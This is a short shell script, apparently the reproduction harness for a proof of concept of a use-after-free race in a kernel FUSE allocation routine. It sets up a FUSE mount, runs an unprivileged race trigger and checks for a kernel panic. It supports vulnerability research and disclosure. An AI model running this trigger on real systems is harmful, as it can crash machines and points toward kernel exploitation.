#!/bin/sh
# run.sh — Run DF-0925 PoC (requires root for FUSE mount setup)
#
# This PoC demonstrates a UAF race in fuse_alloc_node. It requires:
#   - FUSE module loaded (kldload fuse)
#   - Root privileges to mount FUSE filesystem
#   - The race trigger itself runs as an unprivileged user
#
# NOTE: The race window is very tight (~20ns naturally). This script uses
# diagnostic kernel delays (in vclean and fuse_vop_reclaim) to widen the
# window for reliable reproduction. Without the delays, the race may require
# extended runtime (minutes to hours) to fire naturally.
#
# Full reproduction procedure:
#   1. Build diagnostic kernel with vclean delay (see VERDICT.md)
#   2. Build fuse module with fuse_vop_reclaim delay
#   3. kldload fuse
#   4. sysctl kern.maxvnodes=100   (aggressive vnode reclaim)
#   5. Start rawfuse daemon (mounts /mnt/fuse)
#   6. Run race_trigger2 as unprivileged user
#   7. Observe panic in serial console / dmesg
#
set -e
cd "$(dirname "$0")"

MNT=/mnt/fuse

# Ensure FUSE module is loaded
kldload fuse 2>/dev/null || true
mkdir -p "$MNT"
sysctl kern.maxvnodes=100

# Start raw FUSE daemon (detached)
echo "Starting rawfuse daemon on $MNT..."
nohup ./rawfuse "$MNT" </dev/null >/tmp/rawfuse.log 2>&1 &
sleep 2
head -1 /tmp/rawfuse.log
mount | grep fuse

# Run the race trigger (as current user)
echo "Running race trigger (40s)..."
timeout 50 ./race_trigger2 "$MNT/target" 40 2>&1
echo "TRIGGER_EXIT=$?"

# Check for panic
echo "=== Panic check ==="
dmesg | grep -iE "panic|already free|chunk_mark" | tail -5 || echo "No panic in dmesg"